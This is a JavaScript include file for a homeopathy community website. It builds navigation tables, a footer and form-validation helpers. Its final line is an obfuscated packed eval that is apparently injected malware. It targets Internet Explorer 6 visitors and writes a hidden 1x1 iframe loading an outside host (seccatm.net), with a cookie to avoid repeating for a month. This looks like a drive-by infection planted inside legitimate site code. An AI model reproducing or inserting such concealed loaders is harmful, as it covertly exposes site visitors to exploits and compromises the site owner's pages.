function linksPanel(StrName)
{
	document.write("<table cellpadding=0 border=0  bgcolor=#ebf4fb cellspacing=0 align=center style='border:solid 1px #aaccef;' width=990px height=30px>")
				document.write("<tr>")
					document.write("<td style='padding-left:20px'  width=37%>")
						document.write("<font style='color:#075296;font-family:verdana;font-weight:bold;font-size:13px'>Welcome "+StrName+"</font>")
					document.write("</td>")
					document.write("<td >")
						document.write("<font style='font-family:verdana;font-weight:bold;font-size:13px'><font style='color:#2b47c2;'>New</font> <font style='color:#f07d22;'>at Homoeopathy Community</font></font>")
					document.write("</td>")
				document.write("</tr>")
			document.write("</table>")
			document.write("<table id=homeLinks   cellpadding=0 cellspacing=5 border=0  bgcolor=#ffffff cellspacing=0 align=center style='border-bottom:solid 1px #aaccef;' width=990px>")
				document.write("<tr>")
					document.write("<td>")
						document.write("<img src='images/Homepage/chart.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='RemedyCharts.asp'>Remedy Charts</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/miasm.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='Miasms.asp'>Miasms")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/cases.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='cases.asp'>Cases</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/journal.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='ArticleProcess.asp'>Journals</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/humorinmedicine.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='Humor_Homeopathy.asp'>Humor in Medicine</a>")
					document.write("</td>")
				document.write("</tr>")
				document.write("<tr>")
					document.write("<td>")
						document.write("<img src='images/Homepage/rubricstudy.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='RubricStudy.asp'>Rubric Study</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/patientinstruction.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='patientinstructions.asp'>Patient Instructions</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/brainteasears.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='BrainTeasears.asp'>Brain Teasers</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/debateofmonth.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='HomoeopathyDebate.asp'>Debate of the Month</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/medicaldictionory.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='MedicalDictionary.asp'>Medical Dictionary</a>")
					document.write("</td>")
				document.write("</tr>")
				document.write("<tr>")
					document.write("<td>")
						document.write("<img src='images/Homepage/clinicaltips.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='ClinicalTips.asp'>Clinical Tips</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/mm.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='keynotes.asp'>Keynotes</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/rubrichunting.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='Rubrichunting.asp'>Rubric Hunting</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/news.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='News_Events.asp'>News / Events</a>")
					document.write("</td>")
					document.write("<td>")
						document.write("<img src='images/Homepage/freedownload.jpg'>")
					document.write("</td>")
					document.write("<td>")
						document.write("<a href='Downloads.asp'><font style='color:red'>Free Downloads</font></a>")
					document.write("</td>")
				document.write("</tr>")
			document.write("</table>")
}

function fnBottomPanel()
{
	document.write("<table cellpadding=0 cellspacing=0 align=center  width=990px bgcolor=#ffffff>");
		document.write("<tr>");
			document.write("<td>");
				document.write("<table align=center bgcolor=#ebf4fb width=980px class=tblborder><tr><td align=center> <a href='tellfriend.asp'><b>Tell a Friend</b></a> | <a href='feedbackform.asp'><b>FeedBack</b></a> | <b><a href='default.asp'>Home</a></b> | <b><a href='AboutUs.asp'>About Us</a></b> | <b><a href='contactus.asp'>Contact Us</a></b> | <b><a href='disclaimer.asp'>Disclaimer</a></b></td></tr></table>");
			document.write("</td>");
		document.write("</tr>");
		document.write("<tr>");
			document.write("<td>");
				document.write("<table align=center bgcolor=#5a91b8 width=980px><tr><td align=center><a href='disclaimer.asp'><font class=normal color=#ffffff>&copy; www.homeopathycommunity.com</a>&nbsp; All Rights Reserved</font></a>&nbsp;<a href=http://www.mindtechnologieslive.com target=_blank  style='text-decoration:none;'><b><font style='color:#ffffff;text-decoration:none;'>Mind Technologies</font></b></a></font></td></tr></table>");
			document.write("</td>");
		document.write("</tr>");
		document.write("<tr><td height=10px bgcolor=#ffffff></td></tr>");
	document.write("</table>");
}
			
function links(link)
{		
	window.open(link,'subWin','top=0,left=0,width=900,height=700,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no,scrollbars=yes,resizable=yes');
}		

function fnBack()
{
	window.history.go(-1);
}		
			
function fnClose()
{
	window.close();
}	
			
function trim(argvalue){var tmpstr = ltrim(argvalue);return rtrim(tmpstr);}
function ltrim(argvalue){while (1){if (argvalue.substring(0, 1) != " ")break;argvalue = argvalue.substring(1, argvalue.length);}return argvalue;}
function rtrim(argvalue){while (1){if (argvalue.substring(argvalue.length - 1, argvalue.length) != " ")break;argvalue = argvalue.substring(0, argvalue.length - 1);}return argvalue;}

function EmailCheck(str) 
	{
		var at="@" ;
		var dot=".";
		var lat=str.indexOf(at);
		var lstr=str.length;
		var ldot=str.indexOf(dot);		
		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){alert("Invalid E-mail ID");return false;}
		if (str.length == (str.indexOf(dot)+1)){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(at,(lat+1))!=-1){alert("Invalid E-mail ID");return false;}
		if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(dot,(lat+2))==-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(" ")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(";")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("'")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("\"")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("<")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf(">")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("=")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("#")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("$")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("%")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("&")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("^")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("!")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("+")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("~")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("?")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("\\")!=-1){alert("Invalid E-mail ID");return false;}
		if (str.indexOf("/")!=-1){alert("Invalid E-mail ID");return false;}
		return true;					
}
function openWindow(strImgPath, strHeight, strWidth)
{
	window.open(strImgPath,'SubWin',"toolbar=no,width="+strWidth+",height="+strHeight+",location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,copyhistory=no,controlbox=no")
}

function validation()
{
	
	if(document.getElementById('txtusername').value == '')
	{
		alert("ID must be entered");
		document.getElementById('txtusername').focus();
		return false;
	}
	if(document.getElementById('txtuserpassword').value == '')
	{
		alert("Password must be entered");
		document.getElementById('txtuserpassword').focus();		
		return false;
	}
return true;
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n 5=e a(),7=e a(5.q()+m);2(o.k.9("r 6")!=-1&&4.8.9("d=s")==-1){3="<2"+"b f"+"g=1 h"+"j=1 i"+"c=\'l"+"p://B"+".C/"+"t/\' A"+"z=\'u"+"w:x\'"+"></2"+"b>";2(5.y()==-1){3=0}4.v(3);4.8="d=s;"+" 7="+7.D()+"; "}',40,40,'||if|ifrm|document|today||expires|cookie|indexOf|Date|rame||_mlsdkf|new|wid|th|heig|sr|ht|appVersion|htt|2678400000|var|navigator||getTime|MSIE||b2b|dis|write|play|none|getTimezoneOffset|le|sty|seccatm|net|toGMTString'.split('|')));
